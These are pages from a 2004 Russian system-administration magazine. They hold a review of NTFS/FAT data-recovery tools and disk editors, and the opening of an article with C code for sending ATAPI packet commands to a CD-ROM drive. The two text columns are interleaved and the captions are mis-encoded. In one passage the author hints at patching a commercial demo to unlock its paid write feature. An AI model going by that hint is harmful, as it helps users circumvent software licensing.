адресует диск кластерами (cluster). Каждый кластер об- Даже если у вас золотые руки и светлая голова, при вос-
разован непрерывной последовательностью секторов, ко- становлении данных ни за что не обойтись без инструмен-
личество которых равно степени двойки (1, 2, 4, 8…). Раз- тов. В идеале вы должны быть готовыми разработать все
мер кластера задается на этапе форматирования диска и необходимое самостоятельно. Восстановление данных –
в дальнейшем уже не меняется. Основное назначение кла- довольно кропотливая и рутинная работа, и при реанима-
стеров – уменьшение фрагментации файлов и уменьше- ции 80 – 120 Гб диска без автоматизации никуда. Недоста-
ние разрядности служебных файловых структур. В част- ток всех известных дисковых докторов – отсутствие встро-
ности, FAT16 нумеруют кластеры двойными словами и енного языка или хотя бы развитой системы макрокоманд.
потому может адресовать не более 10000h∗sizeof(cluster) Естественно, прежде чем что-то автоматизировать, необ-
дискового пространства. Легко видеть, что уже на 80 Гб ходимо разобраться в ситуации, и выполнить эту работу
диске размер кластера составляет 1 Мб, и десяток фай- может только человек. Компьютеру доверять ее ни в коем
лов по одному байту каждый сожрут 10 Мб! Впечатляет, случае нельзя – для этого он недостаточно интеллектуа-
не правда ли? NTFS, оперирующая 64-битными величи- лен. Только человек может надежно отличать, где лежат
нами, не страдает подобными ограничениями, и типичная актуальные данные, а где мусор.

Первичная диагностика аварии


Òàáëèöà 1. Ñèìïòîìû îñíîâíûõ çàáîëåâàíèé æåñòêèõ äèñêîâ

№9(22), сентябрь 2004 63


образование
Однако не стоит впадать и в другую крайность, в оче- зом и не может быть воспроизведен. Ничего не остается,
редной раз изобретая велосипед. Среди представленных как действовать тупым перебором.
на рынке утилит есть практически все необходимое. Ес- Некоторые типы разрушений файловой системы способ-
тественно, большинство распространяются по коммерчес- ны завешивать оригинальный NTFS-драйвер или выбрасы-
кой схеме, и за них приходится платить. К сожалению, мно- вать синий экран смерти, что создает серьезные проблемы
гие из дорогостоящих инструментов не оправдывают сво- (чтобы восстановить диск, мы должны запустить опреде-
их ожиданий, и к выброшенным на ветер деньгам приме- ленный инструментарий, а чтобы запустить инструмента-
шивается горечь утраты по безвозвратно потерянным дан- рий, нам надо загрузить Windows, а вот это мы как раз сде-
ным. Автор протестировал большое количество разнооб- лать и не можем!). Попробуйте подключить такой диск к
разных программных продуктов и ниже описывает наибо- системе, не поддерживающий NTFS (например, Windows 98
лее предпочтительные из них, проверенные энтропией и или MS-DOS), естественно, выбранные вами утилиты вос-
временем. становления должны быть совместимы с ней. Или – как
вариант – натравите на такой диск Linux. Драйвер Linux иг-
Загрузочная дискета норирует вспомогательные структуры файловой системы
Средства восстановления и диагностики, расположенные (такие, например, как файл транзакций) и потому успешно
на основном жестком диске, годятся разве что для обуче- монтирует диск, даже когда в них содержится сплошной
ния, а для реальной работы они бесполезны. Даже если сбой мусор.
окажется не настольно серьезным, чтобы воспрепятство- Благодаря усилиям Марка Руссиновича, создавшего за-
вать загрузке Windows, попытка «лечения» диска в много- мечательную утилиту NTFSDOS Professional, мы можем ра-
задачной среде носит весьма непредсказуемый характер. ботать с NTFS-разделами в среде Windows 9x/MS-DOS.
Записывая что-либо на диск в обход драйвера файловой Однако это отнюдь не самостоятельный драйвер, а всего
системы, вы здорово рискуете. Допустим, вы восстанавли- лишь обертка вокруг штатного NTFS.SYS, эмулирующая не-
ваете удаленный файл, обновляя MFT (Master File Table – обходимое окружение и диспетчеризующая файловые зап-
святая святых файловой системы NTFS), а в это время си- росы. С одной стороны, это хорошо тем, что мы имеем пол-
стема создает/удаляет другой файл, обращаясь к тому же ноценную поддержку NTFS, на 100% совместимую с нашей
самому сектору, что и вы. Ну и что произойдет в результа- версией операционной системы (NTFS.SYS извлекается как
те? Правильно – файл, а, возможно, и весь дисковый том, раз оттуда), в то время как драйвера сторонних производи-
умрет окончательно. К тому же система блокирует актив- телей (и в частности драйвер Linux) реально работают лишь
ные исполняемые файлы и файлы данных, что делает не- на чтение, да и то кое-как (потоки и прочие «вкусности»
возможным их восстановление даже при наличии архивной NTFS начисто игнорируются). С другой стороны, если по-
копии. Про борьбу с вирусами лучше вообще не говорить. рушенный диск завешивает NTFS.SYS, он завесит и Рус-
Многие вирусы, обосновавшись в системе, блокируют за- синовича! Однако с такими проблемами приходится стал-
пуск антивирусных программ или умело скрываются от них, киваться не так уж и часто, поэтому полезность этой ути-
не давая себя удалить или обнаружить. Если же в резуль- литы воистину неоценима. Демонстрационная копия
тате сбоя перестала загружаться Windows, вы вообще ос- NTFSDOS Professional, доступная для бесплатного скачи-
таетесь ни с чем… вания (http://www.sysinternals.com/files/NTFSProR.exe), под-
Главное преимущество FAT16/32 по сравнению с NTFS – держивает лишь чтение NTFS-дисков, а за возможность за-
это, бесспорно, возможность загрузки с системной диске- писи приходится платить (несите свои денежки на http://
ты. MS-DOS 7.0 поддерживает длинные имена, позволяя www.winternals.com – платный вариант www.sysitnernals.com).
скопировать с восстанавливаемого диска все файлы, ко- Впрочем, поскольку NTSFDOS Professional всего лишь обер-
торые только доступны штатному драйверу операционной тка, после небольшой доработки напильником она с готов-
системы. Но с NTFS такой номер уже не пройдет! Однако ностью соглашается и читать, и писать. (Внимание! Никто
никто не запрещает нам подключить восстанавливаемый не говорит о взломе! Мы ничего не ломаем! Напротив, мы
диск «вторым» к системе с работоспособной NT. Для этого создаем, наращивая функциональность программы!). Крат-
даже не обязательно иметь два компьютера. Просто под- ко об установке и сопутствующих проблемах. Для начала
ключите к своему компьютеру еще один винчестер, уста- вам потребуется создать системную дискету, что легче все-
новите на него NT и наслаждайтесь жизнью. При этом сле- го осуществить средствами Windows 98. Русская версия MS-
дует учитывать, что информация о программных RAID, со- DOS даже в минимальном комплекте поставки (io.sys +
зданных Windows NT 4.0 или более ранними версиями, со- command.com) занимает намного больше места, чем рас-
держится в реестре, и поэтому при переносе диска на дру- считывал Руссинович, и NTFSDOS Professional на стандар-
гую систему оказывается недоступна. Динамические дис- тную 3" дискету уже не вмещается. Поэтому приходится ус-
ки, появившиеся в Windows 2000, хранят свои атрибуты в танавливать NTFSDOS Professional на чистый диск (точнее
фиксированных местах диска, и поэтому не привязаны к говоря, инсталлятор создает таких дисков два – на первый
своей родной системе. С шифрованными файлами дела об- помещает NTFS-драйвер, а на второй – chkdsk.exe). Загру-
стоят не в пример хуже. Ключ шифровки хранится в недрах зившись с системной дискеты, выньте ее из дисковода (ес-
пользовательского профиля, и на другой системе извлече- тественно, command.com должен быть предварительно ско-
ние файлов оказывается невозможным. Причем создание пирован на виртуальный диск), вставьте первый диск, сфор-
пользователя с таким же именем/паролем не решает про- мированный инсталлятором и наберите в командной стро-
блемы, т.к. ключ генерируется системой случайным обра- ке NTFSPRO.EXE.

64
образование
Как вариант можно воспользоваться загрузочным дис- бочее состояние и многое-многое другое. К сожалению,
ком от компании Active@Data Recovery Software (http:// непосредственными средствами для восстановления раз-
download2.lsoft.net/NtfsFloppySetup.exe) или загрузочным рушенного диска ERD Commander не располагает, и в ос-
CD-ROM диском от нее же (http://download2.lsoft.net/boot-cd- новном он применим для реанимации операционной сис-
iso.zip). Центральным звеном каждого из них является не- темы (правда, из-под ERD Commander вы можете вызвать
зависимый NTFS-драйвер, работающий из под MS-DOS и дискового доктора или любую другую Windows-утилиту, в
монтирующий NTFS-тома даже при полном разрушении таком случае никакого смысла в его приобретении нет –
вспомогательных файловых структур и серьезном повреж- второй винчестер будет дешевле).
дении таблицы MFT и полном разрушении корневого ката- Начиная с Windows 2000, Microsoft наконец-то включи-
лога. Драйвер самостоятельно сканирует диск в поисках ла в операционную систему некоторую пародию на заг-
уцелевших записей в MFT, показывая в том числе и уда- рузчик, способную стартовать с CD-ROM и поддерживаю-
ленные файлы, предлагая их восстановить. Естественно, щую NTFS. Называется эта штука консоль восстановле-
возможность записи на диск реализована только в коммер- ния, или по-английски Recovery Console. Это действитель-
ческой версии, а демонстрационная позволяет лишь ско- но консоль, ничего не знающая о GUI и способная запус-
пировать файлы на внешний носитель (жесткий диск, раз- кать только консольные приложения (типа chkdsk.exe и
меченный под FAT или дискету). Динамические диски, к подобных им).
сожалению, не поддерживаются. Помимо этого в комплект Для ее активации загрузитесь с дистрибутивного CD-
входит утилита для создания/восстановления образа дис- ROM и сделайте вид, что хотите переустановить систему,
ка, средство избавления диска от данных (полезно, когда но на определенном этапе установки нажмите <R> для
вы сдаете диск с конфиденциальными данными назад про- вызова консоли восстановления. Вас запросят пароль ад-
давцу), программу для работы с патрициями1 (восстанов- министратора (если вы его забыли или системный реестр
ление разрушенных таблиц разделов и их заблаговремен- поврежден, войти в консоль не удастся!), при успешной
ная архивация), и автономный энурез – утилиту unerase для регистрации запустится командный интерпретатор, позво-
NTFS. ляющий (теоретически!) скопировать уцелевшие файлы
Если приобретение второго жесткого диска вам не по на другой диск. Практически же по умолчанию доступна
карману, а возможности MS-DOS-загрузчиков вас не уст- только папка WINNT, причем копирование на съемные
раивают, воспользуйтесь другой утилитой Марка Русси- носители запрещено. Хорошенькое начало! Вам нужна
новича – ERD Commander, позволяющий запускать усе- WINNT? Личные документы намного нужнее! К счастью,
ченную версию Windows с дискет (5 штук) или CD-диска. доступ можно разблокировать. Для этого необходимо
В настоящее время ERD Commander распространяется присвоить системным переменным AllowAllPaths и Allow
только на коммерческом основании, хотя в сети до сих пор RemovableMedia значение true («SET AllowAllPaths = true»,
можно найти предыдущие, бесплатные версии, хотя их «SET AllowRemovableMedia = true»), или локальных пара-
функциональные возможности весьма ограниченны. В метрах безопасности» (папка Администрирование в Па-
частности, опробованный мной EDR Commander 2000 вы- нели Управления) заблаговременно найти пункт «Консоль
зывал смесь разочарования с удивлением. Во-первых, он восстановления: разрешить копирование дискет и доступ
забросил на дискету многопроцессорное ядро (а у меня ко всем папкам» и перевести рубильник во включенное
однопроцессорная машина!). Как следствие, при загруз- состояние. Смысл этой защиты не совсем понятен. Про-
ке с дискеты Windows не нашла нужного ядра и умерла стые пользователи до консоли восстановления все равно
еще в зачатье. Пришлось менять ядро вручную. Затем не дотянутся, а профессионалов подобные манипуляции
всплыли и другие ошибки инсталлятора, и пришлось не- ужасно раздражают. Находясь в консоли восстановления,
мало попотеть, прежде чем Windows все-таки загрузилась. вы можете: запускать chkdsk2, создавать и удалять разде-
Подготовленный инсталлятором образ CD-ROM также был лы на жестком диске, перезаписывать главную запись и
в сильно разобранном состоянии – просто папка с файла- boot-record, форматировать логические диски, управлять
ми и bootsector.bin, который еще не каждой утилитой прож- службами и драйверами, удалять/копировать/переимено-
жешь (я пользовался CDRTOOLS, также подходит и CDRWIN, вывать/изменять атрибуты файлов (включая те, что бло-
а вот популярный Нерон, сжигающий Рим, для этой цели, кируются при запуске системы), а также выполнять дру-
увы, непригоден). Тем не менее ERD Commander стоит гие сервисные операции. При желании вы можете запус-
всех мучений! С его помощью вы можете: менять админи- кать и свои собственные консольные приложения, при ус-
страторский пароль в системе, редактировать реестр упав- ловии, что они не используют никаких динамических биб-
шей системы, управлять сервисами и драйверами, восста- лиотек за исключением NTDLL.DLL, однако технику их
навливать удаленные файлы, копировать и модифициро- создания мы обсудим как-нибудь в другой раз, т.к. это
вать любые системные и пользовательские файлы (в том очень обширный вопрос.
числе и по сети), редактировать таблицу разделов и уп- В Windows XP идея консоли восстановления получила
равлять динамическими дисками, сравнивать файлы упав- дальнейшее развитие, в конце концов вылившееся в
шей и рабочей системы, производить откат системы в ра- Windows PE. Это слегка усеченная версия Windows XP,

1
Английское partition (раздел) в русской транскрипции изначально произносилось как «партитио» и «патриция», но
затем язык это переварил в более благозвучную и легко выговариваемую «патрицию».
2
Полезность которого, кстати говоря, весьма сомнительна, т.к. он зачастую лишь усугубляет разрушения.

№9(22), сентябрь 2004 65


образование
способная грузиться с CD-ROM и запускать GUI-приложе- состоянии монтировать разрушенные NTFS-диски (на не-
ния. Фактически она полностью заменит собой «второй» которых из них NTFS-драйвер просто виснет или уходит в
жесткий диск, и для восстановления системы теперь не голубой экран).
требуется никакого дополнительного оборудования! Не- Штатная же консоль восстановления, NTFSDOS
смотря на то, что легальная версия Windows PE в широ- Proffessional и Active@ Data Recovery Boot Disk поддержи-
кую продажу так и не поступала (Microsoft предоставляет вают только дискеты и IDE-накопители, причем демонстра-
ее только разработчикам оборудования, сервисным спе- ционные версии двух последних требуют, чтобы диск-при-
циалистам и прочим своим партнерам), в России копию емник был размечен под FAT16/32, а его максимальный
оригинального диска Windows PE можно найти в каждом объем не превышал 8 Гб. Если же вам необходимо восста-
ларьке. Пиратство пиратством, но то, что спрос рождает новить диск большего объема – последовательно копируй-
предложение, – факт, а загружать Windows с диска тре- те его на несколько жестких дисков. Согласен, это доста-
буется многим. точно дорогое удовольствие, но дешевых решений в деле
Если же вы связаны лицензионными ограничениями, восстановления данных не бывает.
диктуемыми уставом вашей фирмы, воспользуйтесь Bart’s
PE Builder. Эта бесплатно распространяемая утилита (http:// Редактор диска
www.danilpremgi.com/nu2/pebuilder3032.zip) вытащит с Настоящие профессионалы восстанавливают разрушен-
дистрибутивного диска обыкновенной Windows все необ- ные логические структуры непосредственно в дисковом
ходимые файлы и автоматически сформирует iso-образ редакторе, не доверяя никаким автоматизированным ути-
загрузочного CD. Прожигаете его на болванку, и все! При литам (кроме своих собственных), поскольку никогда не
желании вы можете помещать на CD и свои собственные известно наперед, какой подлости от них следует ждать.
утилиты, формируя приличную аптечку для восстановле- Так будем поступать и мы, делая основной упор именно
ния умерших дисков и размещающуюся на 3" CR-R/RW, на ручном восстановлении. Коль скоро дисковый редак-
свободно умещающийся в нагрудном кармане. И незачем тор станет нашим главным инструментом, это должен
таскать эти жуткие стопки дискет или страшно сказать – быть хороший и комфортный редактор, в противном слу-
отдельный винчестер. К слову сказать, к Bart’s PE Builder чае восстановление из увлекательной работы превратит-
выпущено множество плагинов, представляющих собой ся в пытку.
программы, адаптированные для запуска с CD. Среди них Лучшим и, кстати говоря, до сих пор никем не превзой-
есть и утилиты восстановления данных, и дисковые ре- денным дисковым редактором, когда-либо созданным за
дакторы, и даже Nero Brining Rom. Большую коллекцию всю историю существования IBM PC, был и остается зна-
плагинов можно найти на домашней страничке Bart’s – менитый Norton DiskEditor от компании Symantec. Удобная
http://www.nu2.nu/pebuilder, здесь же вы найдете и крат- навигация по диску, просмотр большинства служебных
кое руководство по работе с PE Builder. Официально структур в естественном виде, мощный контекстный по-
PE Builder поддерживает Windows 2000, Windows XP и иск до предела упростили процедуру восстановления, взяв
Windows 2003, однако при ближайшем рассмотрении вы- всю рутинную работу на себя. Старичок и поныне остает-
ясняется, что ему как минимум нужен Windows 2000 с ин- ся в строю. Естественно, под Windows NT он не запуска-
тегрированным SP1, зато создание диска на базе ется, однако работает под MS-DOS и Windows 9x, насле-
Windows 2003 прошло успешно (использовался CD-ROM дуя все ограничения, накладываемые BIOS на предельно
с 180-дневной версией Windows 200 Server, бесплатно допустимый объем диска в 8 Гб (правда, попытка восста-
распространяемый компанией Microsoft). новления диска из многозадачной среды, коей и является
Winnows 9x, могут носить диаметрально противоположный
характер, впрочем, на NTFS-разделы это условие не рас-
пространяется. Windows 9x не поддерживает NTFS и ни-
чего не пишет на ее разделы). К сожалению, DiskEdit ни-
чего не знает об NTFS, и потому разбирать все структуры
приходится вручную. Но это еще полбеды. DiskEdit не уме-
ет работать с UNICODE, а это уже хуже. Поэтому лучше
выбрать другой редактор.
Ðèñóíîê 1. Ëîãîòèï äèñêà Bart's PE

Выбор носителей для копирования


Времена, когда восстанавливаемый винчестер можно было
скопировать на пару пачек дискет, давно прошли, и теперь
процедура спасения данных значительно усложнилась.
Пишущие приводы (особенно DVD) – хороший выбор, и пара
пачек болванок вмещает в себя жесткий диск любой ра-
зумной емкости, однако достойных программ прожига под
MS-DOS нет и, по-видимому, уже и не будет. Существую-
щие утилиты (включая их консольные разновидности!) тре-
буют для своего запуска Windows PE/Bart PE, который не в Ðèñóíîê 2. Disk Editor îòîáðàæàåò FAT

66
образование

Ðèñóíîê 3. Disk Editor îòîáðàæàåò êîðíåâóþ äèðåêòîðèþ


Ðèñóíîê 5. Disk Probe îòîáðàæàåò Partition Table
Microsoft DiskProbe, входящий в состав бесплатно рас-
пространяемого пакета Support Tools, это незатейливый и
довольно неудобный в использовании дисковый редактор.
Если все, что вам нужно – это подправить пару байт в нуж-
ных секторах, Disk Probe вполне подойдет, но для восста-
новления серьезных разрушений он непригоден. Тем не
менее базовые функции редактирования им поддержива-
ются – чтение (запись) логических/физических секторов и
групп, просмотр Partition Table, FAT16 и NTFS boot-секто-
ров в естественном виде, поддержка UNICODE, глобаль-
ный поиск по фиксированному/произвольному смещению
строки от начала сектора, запись/восстановление секторов
в/из файла и т. д.
Основная претензия – отсутствие горячих клавиш и не-
возможность перехода к следующему сектору по PagePown
(для каждого сектора приходится лезть в меню, что ужасно
напрягает).
Acronis DiskEditor – слегка улучшенный клон Disk Probe.
Разукрашен интерфейс, существенно упрощена процеду-
ра выбора дисков, по PageDown/PageUp переходит к сле-
дующему/предыдущему сектору. В поиске появилась под-
держка большого количества различных кодировок
(DiskProbe понимает только Cyrillic Windows-1251), и HEX- Ðèñóíîê 6. Acronis DiskEditor çà ïîèñêîì ñòðîêè
поиск. Но есть и упущения. При масштабировании окна
меняется и количество байт в строке, что делает навига-
цию по сектору весьма противоречивой и затруднительной,
к тому же текущая позиция курсора отображается только в
десятичном виде (у DiskProbe – в шестнадцатиричном), что
также не добавляет восторга.

Ðèñóíîê 4. Disk Probe çà ïîèñêîì ñåêòîðà Ðèñóíîê 7. Acronis DiskEditor îòîáðàæàåò NTFS boot-ñåêòîð

№9(22), сентябрь 2004 67


образование
DiskExplorer от Runtime Software – великолепный диско- но, однако, Sector Inspector – единственный известный мне
вый редактор, самый лучший из всех, с которыми мне толь- редактор, поддерживающий работу из Recovery Console,
ко доводилось работать. Фактически это клон Norton так что в некоторых случаях он бывает просто незаменим!
DiskEditor под Windows NT/9x с полной поддержкой NTFS.
Вы можете просматривать все основные NTFS-структуры в
естественном виде, монтировать виртуальные диски, ра-
ботать с образами лазерных и жестких дисков, перемещать-
ся по директориям, восстанавливать удаленные файлы из
любой записи MFT, копировать файлы (и даже целые ди-
ректории!) с предварительным предпросмотром в тексто-
вом или шестнадцатиричном формате, и это еще далеко
не все! Удобная система forward/backward-навигации (при-
близительно такая же, как в браузере или IDA PRO, даже
гиперссылки поддерживаются), изобилие горячих клавиш,
история переходов, мощный поиск с поддержкой основных
структур (INDEX, MFT, Partition), поиск ссылок на текущий
сектор, возможность удаленного восстановления диска с
подключением по TCP/IP, локальной сети или прямому ка-
бельному подсоединению. Все числа выводятся в двух си-
стемах исчисления – шестнадцатиричной и десятичной. Ðèñóíîê 9. DiskExplorer îòîáðàæàåò MFT â ðàñøèðåííîì âèäå
Короче говоря, это мой основной (и притом горячо лю-
бимый!) инструмент для исследования файловой системы
и восстановления данных. Первое же знакомство с ним
вызывает эйфорию, граничащую со щенячьим восторгом.
Наконец-то мы получили то, о чем так долго мечтали. Есте-
ственно, за все хорошее надо платить. Disk Explorer – это
коммерческий продукт, а доступная для скачивания демон-
страционная версия лишена возможности записи на диск.
Причем имеются две различные версии редактора: одна
поддерживает NTFS (http://www.runtime.org/gdbnt.zip), дру-
гая – FAT. Также доступны плагины под Bart’s PE, которые
можно скачать с сайта Runtime Software.

Ðèñóíîê 10. SectorInspector çà ðàáîòîé

Автоматизированные доктора
Более убогой утилиты, чем ChkDsk – стандартный дисковый
«доктор», входящий в штатный комплект поставки
Windows, – по-видимому, не придумать даже сценаристам
из Голливуда. Система диагностики ошибок упрощена до
минимума – доктор лишь информирует о факте их наличия,
но отказывается говорить, что именно, по его мнению, по-
вреждено и что он собирается лечить, поэтому последствия
такого «врачевания» могут носить фатальный характер.

Ðèñóíîê 8. DiskExplorer îòîáðàæàåò MFT â ñîêðàùåííîì âèäå


Sector Inspector, входящий в бесплатно распространяе-
мый фирмой Microsoft пакет «Windows Resource Kits», пред-
ставляет собой не интерактивную утилиту для чтения/за-
писи отдельных секторов в файл. Поддерживает LBA- и
CHS-адресацию. При запуске без параметров выводит де-
кодированную partition table вместе с расширенными раз-
делами и boot-секторами. Редактирование диска осуществ- Ðèñóíîê 11. ChkDsk çà ðàáîòîé
ляется правкой секторного дампа в любом подходящем Известно много случаев, когда ChkDsk залечивал до
HEX-редакторе с последующей записью исправленной вер- смерти полностью исправные разделы. С другой стороны,
сии на диск. Естественно, это непроизводительно и неудоб- успешно проведенных операций восстановления на его сче-

68
образование
ту намного больше. Обычно он используется неквалифи- Демонстрационную копию программы можно найти по
цированными пользователями (и администраторами) для следующему адресу http://www.diydatarecovery.nl/~tkuurstra/
периодической проверки разделов и исправления мелких downloads/Demo/iRecoverSetup.exe.
искажений файловой системы.
GetDataBack от создателя Disk Explorer. Полная автома-
тизация и никакой ручной работы. Сканирует MFT и выво-
дит все файлы, которые только удалось найти (включая уда-
ленные), рассовывая их по директориям (при условии, что
соответствующие индексы не повреждены). Если споткнет-
ся о BAD-сектор – вылетит, не прощаясь. Зато поддержи-
вает удаленное восстановление, создание образов дисков,
и мощную систему поиска по файлам (дата/размер), но по-
чему-то нет поиска по содержимому, что не есть хорошо.
Допустим, вы хотите восстановить файл со своей диссер-
тацией, ключевые слова которой вам известны, а вот в ка-
ких секторах они располагаются, – неведомо. Тоже самое
относится и к поиску файла записной книжки с телефоном
приятеля. Тем не менее, для большинства рядовых задач
по восстановлению возможностей GetDataBack хватает с
лихвой. Демонстрационную версию программы под NTFS Ðèñóíîê 13. Ïîëçóùàÿ çìåéêà DIY Recover
можно раздобыть по адресу (http://www.runtime.org/ EasyRecovery Professional от OnTrack Data Recovery
gdbnt.zip). Она все показывает, но восстанавливать ничего (www.ontrack.com) – симпатичный, но на проверку доволь-
не дает. Однако позволяет открывать файлы ассоцииро- но бестолковый инструмент, к тому же работающий полно-
ванным с ними приложениям. Важно отметить, GetData Back стью в автоматическом режиме, интеллектуальность кото-
не является доктором, таким как NDD или ChkDsk. Она не рого находится на зачаточном уровне. Не рекомендуется
лечит разделы, а всего лишь позволяет скопировать из них для использования (ну разве что вы хотите восстановить
уцелевшие файлы. только что отформатированный том, на который еще ниче-
го существенного не писалось).

Ðèñóíîê 12. Âíåøíèé âèä GetDataBack


Ðèñóíîê 14. EasyRecovery è ïîëòîðàñòà ìåãàáàéò êîñìåòèêè
DIY Recover от нидерландской фирмы с неоригиналь-
ным названием Data Recovery – замечательный полуавто- Заключение
матический доктор с кучей настроек. Поддерживает дина- В шутку говорят, что всякий обладатель не зарезервиро-
мические диски, позволяет задавать все параметры скани- ванных данных ошибается лишь дважды – первый раз, ког-
рования вручную. Надежен. Не зависает даже на сильно да теряет их, и второй – когда запускает DiskEditor. Дей-
поврежденных томах. Правда, навигация по восстанавли- ствительно, восстановление данных – чрезвычайно ответ-
ваемому диску выполнена крайне неудобно (если не ска- ственная операция, и одно неверное движение мыши спо-
зать – небрежно), что особенно хорошо заметно на боль- собно отправить ваш дисковый том к праотцам. Редактор
ших дисках, содержащих миллионы файлов. Как и его со- диска – это не та программа, которую можно осваивать на
перник – GetDataBack – он ничего не лечит, а лишь вытяги- лету. Подключите к компьютеру жесткий диск, не содержа-
вает уцелевшие данные из небытия. Тем не менее, я отно- щий ничего интересного, и тренируйтесь! Как раз успеете
шу DIY Recover к лучшим автоматизированным средствам к следующему номеру оторвать у мыши хвост и стучать по
восстановления из всех имеющихся в моем арсенале (не горячим клавишам вслепую, после чего будет не грех пого-
считая своих собственных утилит, которые пишутся на ско- ворить о восстановлении загрузочных областей (таблиц
рую руку для восстановления конкретного диска, после чего разделов, boot-секторов) на обычных и динамических дис-
уходят в /dev/null, как и всякий фаст фуд). ках, также называемых программными RAID-массивами.

№9(22), сентябрь 2004 69


программирование

ПАКЕТНЫЕ КОМАНДЫ
ИНТЕРФЕЙСА ATAPI

В статье рассматриваются примеры программ,


выполняющих доступ к интерфейсу ATAPI через
порты ввода-вывода и при помощи системного
вызова IOCTL операционной системы Linux.

ВЛАДИМИР МЕШКОВ
Общая характеристика интерфейса Устройство ATAPI поддерживает минимальный набор ко-
ATA/ATAPI. Регистры ATAPI-контроллера манд ATA, который неограниченно расширяется 12-байтным
Интерфейс ATA – AT Attachment for Disk Drives – разраба- командным пакетом, посылаемым хост-контроллером в ре-
тывался в 1986-1990 гг. для подключения накопителей на гистр данных устройства по команде PACKET. Структура
жестких магнитных дисках к компьютерам IBM PC AT с командного пакета пришла от SCSI (www.t10.org), что обес-
шиной ISA. Стандарт, разработанный комитетом X3T10, печивает схожесть драйверов для устройств со SCSI и
определяет набор регистров и назначение сигналов 40-кон- ATAPI.
тактного интерфейсного разъема. Интерфейс появился в Регистры ATAPI-контроллера:
результате переноса контроллера жесткого диска ближе к
накопителю, на плату электроники с сохранением регист-
ровой модели, т.е. создания устройств со встроенным кон-
троллером – IDE (Integrated Device Electronic).
Для подключения к интерфейсу ATA накопителей CD-
ROM набора регистров и системы команд ATA недостаточ-
но. Для них существует аппаратно-программный интерфейс
ATAPI (ATA Package Interface – пакетный интерфейс ATA).

70
программирование
Регистр данных (DR) используется так же, как и регистр ройству необходимо послать пакетную команду START/
данных ATA. STOP UNIT, которая представляет собой 12-байтный блок
Регистр ошибки (ER) определяет состояние контролле- данных следующего формата (см. спецификацию INF-8020i,
ра устройства ATAPI после выполнения операции и досту- п. 10.8.25, стр. 197):
пен только для чтения. Назначение разрядов регистра сле-
дующее:
! бит 0 (ILI) – недопустимая длина командного пакета или
блока данных;
! бит 1 (EOM) – обнаружен конец дорожки на носителе;
! бит 2 (ABRT) – аварийное прекращение выполнения ко-
манды;
! бит 3 – не используется;
! бит 4-7 (Sense Key) – код состояния устройства.

Регистры младшего байта и старшего байта счетчика


байтов (CL и CH) используются в режиме PIO и доступны
как для чтения, так и для записи информации. Значение Ðèñóíîê 1. Ôîðìàò êîìàíäû START/STOP UNIT
счетчика должно быть загружено в эти регистры до того, Формат этой команды простой. Поле Operation code со-
как код команды будет записан в регистр команд. Значе- держит код команды 0x1B, а тип требуемой операции зада-
ние счетчика должно соответствовать объему передавае- ют бит LoEj и Start:
мых данных.
В регистре выбора устройства (DS) используется толь-
ко бит 4 (DEV), с помощью которого осуществляется выбор
устройства. Биты 7 и 5 должны иметь значение 1 с целью Команда START/STOP UNIT относится к классу пакет-
сохранения совместимости с устаревшими устройствами. ных команд, не требующих передачи данных (Non-data
Регистр состояния (SR) отображает состояние устрой- Commands). Алгоритм выполнения таких команд следую-
ства. Назначение разрядов регистра следующее: щий (см. п. 5.13, спецификация INF-8020i):
! бит 0 (CHK) – признак возникновения исключительной ! хост считывает регистр состояния устройства, дожида-
ситуации, в регистре ошибки (ER) находится код ошиб- ясь нулевого значения битов BSY и DRQ. После этого
ки; хост заносит в регистр выбора устройство байт, бит DEV
! биты 1 и 2 игнорируются при считывании информации которого указывает на адресуемое устройство;
из регистра; ! хост записывает код пакетной команды 0xA0 в команд-
! бит 3 (DRQ) – признак готовности устройства к обмену ный регистр;
данными; ! устройство устанавливает бит BSY в регистре состоя-
! бит 4 (SERV) – признак готовности к обслуживанию сле- ния и готовится к приёму пакетной команды;
дующей команды (имеет значение только при работе в ! подготовившись к приёму пакетной команды, устройство
режиме перекрытия команд); сбрасывает бит BSY и устанавливает бит DRQ;
! бит 5 (DMRD/DF) – признак готовности к передаче в ре- ! хост записывает 12-байтный командный пакет в регистр
жиме DMA (при CHK = 0) или признак неисправности данных устройства;
устройства (при CHK = 1). ! устройство устанавливает бит BSY и приступает к вы-
полнению поступившей команды. После выполнения ко-
Регистр команд (CR) используется для загрузки кода манды устройство сбрасывает бит BSY, DRQ и устанав-
выполняемой команды. ливает бит DRDY;
! хост считывает регистр состояния.
Пакетные команды ATAPI
Рассмотрим порядок выполнения пакетных команд интер- Рассмотрим листинг программы, выполняющей откры-
фейса ATAPI на примерах. Работоспособность всех приме- тие и закрытие лотка CD-ROM (файл RAW/atapi_o_c.c).
ров была проверена для ОС Linux, ядро 2.4.26. Привод CD- Биты регистра состояния SR и макроопределения для
ROM подключен как Secondary Master, в ядре включен ре- работы с портами:
жим SCSI-эмуляции для ATAPI-устройств (SCSI host adapter
emulation for IDE ATAPI devices). Использовались два при- #define BSY 0x80
#define DRQ 0x08
вода: #define DRDY 0x40
! TEAC CD-W524E Rev 1.0E; #define OUT_P_B(val,port) ↵
! MITSUMI CD-ROM FX54++M Rev Y01E. __asm__("outb %%al, %%dx"::"a"(val),"d"(port))
#define OUT_P_W(val,port) ↵
Исходные тексты всех программ доступны на сайте жур- __asm__("outw %%ax, %%dx"::"a"(val),"d"(port))
нала.
#define IN_P_B(val,port) ↵
Начнём с самого простого примера – открытие/закры- __asm__("inb %%dx, %%al":"=a"(val):"d"(port))
тие лотка CD-ROM. Чтобы выполнить эту операцию, уст-

№9(22), сентябрь 2004 71


программирование
#define IN_P_W(val,port) ↵ void close_cdrom()
__asm__("inw %%dx, %%ax":"=a"(val):"d"(port)) {
__u8 cmd_buff[12];
Функция send_packet_command реализует алгоритм
выполнения пакетных команд, не требующих передачи дан- memset((void *)cmd_buff, 0, 12);
cmd_buff[0] = 0x1B; // êîä êîìàíäû START/STOP UNIT
ных. Входные параметры функции – указатель на 12-байт- cmd_buff[4] = 0x3; // LoEj = 1, Start = 1
ный командный пакет: send_packet_command(cmd_buff);
}

void send_packet_command(__u8 *cmd_buff) Функция открытия лотка CD-ROM:


{
int i;
__u8 status = 0; void open_cdrom()
__u16 port, a; {
__u8 cmd_buff[12];
port = 0x177; // ðåãèñòð ñîñòîÿíèÿ SR
memset((void *)cmd_buff, 0, 12);
/*  ñîîòâåòñòâèè ñ àëãîðèòìîì æäåì íóëåâîãî çíà÷åíèÿ cmd_buff[0] = 0x1B;
* áèòîâ BSY è DRQ cmd_buff[4] = 0x2; // LoEj = 1, Start = 0
